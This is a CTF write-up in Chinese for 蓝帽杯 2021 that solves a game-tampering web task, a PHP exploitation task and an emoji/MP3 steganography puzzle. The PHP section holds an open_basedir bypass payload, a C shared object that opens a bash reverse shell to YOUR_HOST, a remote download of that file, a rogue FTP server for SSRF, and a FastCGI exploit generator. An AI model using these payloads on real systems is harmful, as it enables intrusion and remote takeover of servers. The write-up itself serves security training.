蓝帽杯 2021

Web

Ball_sigin

egret 引擎开发的小游戏,主要的代码都在 Games.js 中。主要的玩法是操作小球滑动躲避树并收集对应左上角单词缺失的字母。将 Games.js 下载下来后格式化,可以发现在hitWordLetter() 方法下有如下逻辑。

1
2
3
if (this._score === 60) {
this.gameOverFunc();
}

也就是只要分数达到六十分即可获胜,定位到 gameOverFunc() 可以发现获胜结果是通过向 /testData 发送 POST 请求从服务端获取的,其中提交的数据结构如下。

1
2
3
4
5
6
var datas = {
'balls': this._balls,
'trees': this._trees,
'words': this._words,
'infos': this._infos
};

gameOverFunc() 处的判断改一下,使其无论分数多少都提交数据,从而得到如下提交样例。

可以发现树的位置和单词的位置以及小球的位置都会被实时记录,因此想要手动伪造一份记录十分困难。定位到 addBarriers() 方法可以发现树的坐标是随机生成的,因此可以稍作修改使树排排站。

1
2
treeBg.x = 1;
treeBg.y = Math.random() * (this._stageH - 80 - (this._isFitstApperar ? 500 : 0)) + (this._isFitstApperar ? 500 : 0);

使用 Fiddler 拦截请求来替换 Games.js,即可轻松完成游戏设定的目标。

1
flag{f2852395-1f2b-47a6-bd29-cd54bb67a614}

one_Pointer_php

how to change my euid?

PHP_INT_MAX 导致赋值报错

下载题目给出的附件,可以得到如下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>
1
2
3
4
5
<?php
class User{
public $count;
}
?>

很容易发现判断的语句是一个赋值语句,因此需要尝试让赋值语句返回 false。恰巧赋值的是一个数组,当数组的下标达到 PHP_INT_MAX 即 9223372036854775807 时再次使用 $count[]=1 增加新的数组元素时即会失败。因此只要让 $count 的值为 PHP_INT_MAX 即可,构造出如下序列化脚本。

1
2
3
4
5
6
<?php
class User{
public $count = PHP_INT_MAX - 1;
}
echo serialize(new User);
?>

运行脚本得到了如下载荷。

1
O:4:"User":1:{s:5:"count";i:9223372036854775806;}

将载荷拼接到 $_COOKIE["data"] 中即可到达 eval($_GET["backdoor"]);,从而执行一部分指令。执行 phpinfo() 可以发现靶机所使用的是 PHP 7.4.16,且有如下 disable_functions 和 disable_classes。

text
1
2
3
stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive

Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException

FTP SSRF 攻击 PHP-FPM/FastCGI

https://whoamianony.top/2021/05/02/Web%E5%AE%89%E5%85%A8/%E6%B5%85%E5%85%A5%E6%B7%B1%E5%87%BA%20Fastcgi%20%E5%8D%8F%E8%AE%AE%E5%88%86%E6%9E%90%E4%B8%8E%20PHP-FPM%20%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95/

在 phpinfo 中可以发现设置了 open_basedir,因此稍微用 chdir()ini_set() 组合来绕过一下可以得到如下载荷来读到 nginx 的配置文件,从而可以得到 FastCGI 的端口。

text
1
?backdoor=mkdir(%27h3x%27);chdir(%27h3x%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);echo file_get_contents('/etc/nginx/sites-enabled/default');
text
1
2
3
4
5
6
7
8
9
# pass PHP scripts to FastCGI server
#
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9001;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html/$fastcgi_script_name;
include fastcgi_params;
}

使用如下代码编译出反弹 shell 的恶意 so 文件。

1
2
3
4
5
6
7
8
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/YOUR_HOST/3255 0>&1'");
}
1
gcc hpdoger.c -fPIC -shared -o hpdoger.so

拼接使用如下的载荷将编译好的文件上传到靶机。

1
copy('http://YOUR_HOST/hpdoger.so', '/tmp/hpdoger.so');print_r(scandir('/tmp'));

成功时可以得到如下回显。

text
1
Array ( [0] => . [1] => .. [2] => hpdoger.so )

写一个恶意的 FTP 客户端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket as Socket
socket = Socket.socket(Socket.AF_INET, Socket.SOCK_STREAM)
socket.bind(('0.0.0.0', 23)) # Bind socket to FTP port
socket.listen(1)

connection, address = socket.accept()
connection.send(b'220 Welcome to py.evil.lemonprefect.cn\n')
connection.send(b'331 Give me your password\n')
connection.send(b'230 Fake Login Successful\n')
connection.send(b'200 Switch to Binary mode KORA\n')
connection.send(b'550 File Size?\n')
connection.send(b'150 Fine\n')
connection.send(b'227 Now Enter Extended Passive Mode (127,0,0,1,0,9001) Aha\n')
connection.send(b'150 Actually No File\n')
connection.send(b'221 Give me five and a reflect shell\n')
connection.close()

修改参考中的代码生成 payload。

https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/fcgi_jailbreak.php#L29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php

class FCGIClient{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const PARAMS = 4;
const STDIN = 5;
const RESPONDER = 1;

private $_host = null;
private $_port = null;
private $_keepAlive = false;

public function __construct($host, $port = 9000){
$this->_host = $host;
$this->_port = $port;
}

public function request(array $params, $stdin){
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int)$this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach($params as $key => $value) $paramsRequest .= $this->buildNvpair($key, $value);
if($paramsRequest) $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
$request .= $this->buildPacket(self::PARAMS, '');
if($stdin) $request .= $this->buildPacket(self::STDIN, $stdin);
$request .= $this->buildPacket(self::STDIN, '');
echo('data=' . urlencode($request));
}

private function buildPacket($type, $content, $requestId = 1){
$clen = strlen($content);
return chr(self::VERSION_1)
. chr($type)
. chr(($requestId >> 8) & 0xFF)
. chr($requestId & 0xFF)
. chr(($clen >> 8) & 0xFF)
. chr($clen & 0xFF)
. chr(0)
. chr(0)
. $content;
}

private function buildNvpair($name, $value){
$nlen = strlen($name);
$vlen = strlen($value);
$nvpair = $nlen < 128 ? chr($nlen) : chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
$nvpair = $vlen < 128 ? $nvpair . chr($vlen) : $nvpair . chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
return $nvpair . $name . $value;
}

}

$filepath = "/var/www/html/add_api.php"; // PHP file path
$req = '/' . basename($filepath);
$uri = $req . '?' . 'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>";
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // import evil hpdoger.so from /tmp
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001', // Fast_CGI Port
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
echo $client->request($params, $code) . "\n";

运行脚本可以得到如下结果。

text
1
data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

构造出如下载荷。

text
1
2
?backdoor=$file=$_GET['file'];$data=$_GET['data'];file_put_contents($file, $data);
&file=ftp://[email protected]_HOST/evil&data=GENERATED_DATA_HERE

运行写好的恶意 FTP 服务端,监听在恶意 so 中设定的端口。将载荷拼接后发送后可以在监听端口处得到反弹的 shell。

使用 find /usr/local/bin -perm -u=s -type f 2>/dev/null 查到 PHP 具有 suid,因此直接使用 PHP 的交互 shell 尝试获取 flag。

1
2
3
[email protected]:~/html$ find /usr/local/bin -perm -u=s -type f 2>/dev/null
< find /usr/local/bin -perm -u=s -type f 2>/dev/null
/usr/local/bin/php

1
flag{d0a13137-6a17-408a-8298-16b816f34806}

Misc

冬奥会_is_coming

附件给出了一张图片,使用 binwalk -e 可以分离出一个压缩文档。压缩包的备注中有 eight numbers 的提示,但是压缩包本身并没有被加密,因此猜测是有隐写。使用 010 editor 打开解压所得的音频文件可在其尾部发现如下信息。

text
1
🙃💵🌿🎤🚪🌏🐎🥋🚫😆🎃✅⌨🔪❓🚫🐍🙃🔬✉👁😆🎈🐘🏎🐘🐘😂😎🎅🖐🐍✉🍌🌪🐎🍵✅🚪✖☃👣👉ℹ🔪🍎🔄👣🚪😁👣💵🐅🍵🔬🛩😇🖐🖐🎅✅🏎👌🚨😆🎤🎅🦓🌿🦓🙃✖🍌🛩😂👑🌏☃😇😍🛩🚹😀🍌🎈💧🗒🗒

猜测是 emoji-aes 加密,但是使用冬奥会的日期作为 key 尝试解密并不成功,因此猜测在音频中仍然有信息。使用 MP3stego 配合冬奥会日期 20220204 作为 key 执行 Decode.exe -X -P 20220204 .\encode.mp3 可提取出如下信息。

text
1
\xe2\x9c\x8c\xef\xb8\x8e \xe2\x98\x9d\xef\xb8\x8e\xe2\x99\x93\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x98\x9f\xef\xb8\x8e\xe2\x97\x86\xef\xb8\x8e\xe2\x99\x8c\xef\xb8\x8e \xe2\x9d\x92\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x97\xbb\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\xac\xa7\xef\xb8\x8e\xe2\x99\x93\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\x9d\x92\xef\xb8\x8e\xe2\x8d\x93\xef\xb8\x8e \xe2\x96\xa0\xef\xb8\x8e\xe2\x99\x8b\xef\xb8\x8e\xe2\x9d\x8d\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x99\x8e\xef\xb8\x8e \xf0\x9f\x93\x82\xef\xb8\x8e\xe2\x99\x8d\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xf0\x9f\x8f\xb1\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x99\x8b\xef\xb8\x8e\xf0\x9f\x99\xb5 \xe2\x99\x93\xef\xb8\x8e\xe2\xac\xa7\xef\xb8\x8e \xe2\x9d\x96\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x9d\x92\xef\xb8\x8e\xe2\x8d\x93\xef\xb8\x8e \xe2\x99\x93\xef\xb8\x8e\xe2\x96\xa0\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x9d\x92\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\xac\xa7\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x99\x93\xef\xb8\x8e\xe2\x96\xa0\xef\xb8\x8e\xe2\x99\x91\xef\xb8\x8e\xf0\x9f\x93\xac\xef\xb8\x8e \xf0\x9f\x95\x88\xef\xb8\x8e\xe2\x99\x92\xef\xb8\x8e\xe2\x8d\x93\xef\xb8\x8e \xe2\x96\xa0\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e \xe2\xa7\xab\xef\xb8\x8e\xe2\x99\x8b\xef\xb8\x8e\xf0\x9f\x99\xb5\xe2\x99\x8f\xef\xb8\x8e \xe2\x99\x8b\xef\xb8\x8e \xe2\x97\x8f\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xf0\x9f\x99\xb5 \xe2\x99\x8b\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e \xe2\x99\x93\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x9c\x8d\xef\xb8\x8e

使用 CyberChef From Hex 解码后可得如下内容。

text
1
✌︎☝︎♓︎⧫︎☟︎◆︎♌︎❒︎♏︎◻︎□︎⬧︎♓︎⧫︎□︎❒︎⍓︎■︎♋︎❍︎♏︎♎︎📂︎♍︎♏︎🏱︎♏︎♋︎🙵♓︎⬧︎❖︎♏︎❒︎⍓︎♓︎■︎⧫︎♏︎❒︎♏︎⬧︎⧫︎♓︎■︎♑︎📬︎🕈︎♒︎⍓︎■︎□︎⧫︎⧫︎♋︎🙵♏︎♋︎●︎□︎□︎🙵♋︎⧫︎♓︎⧫︎✍︎

Wingdings Translator 将其翻译后可得如下内容。

text
1
A︎G︎i︎t︎H︎u︎b︎r︎e︎p︎o︎s︎i︎t︎o︎r︎y︎n︎a︎m︎e︎d︎1︎c︎e︎P︎e︎a︎🙵i︎s︎v︎e︎r︎y︎i︎n︎t︎e︎r︎e︎s︎t︎i︎n︎g︎.︎W︎h︎y︎n︎o︎t︎t︎a︎🙵e︎a︎l︎o︎o︎🙵a︎t︎i︎t︎?︎

在 GitHub 上搜寻 1cePeak 可以找到一个 repository,在其文件中可以找到如下关键内容。

text
1
2
3
#!/bin/sh

echo How_6ad_c0uld_a_1cePeak_be? >&2

使用 How_6ad_c0uld_a_1cePeak_be? 作为 key 解密 emoji-aes 的密文可以得到 flag。

1
flag{e32f619b-dbcd-49bd-9126-5d841aa01767}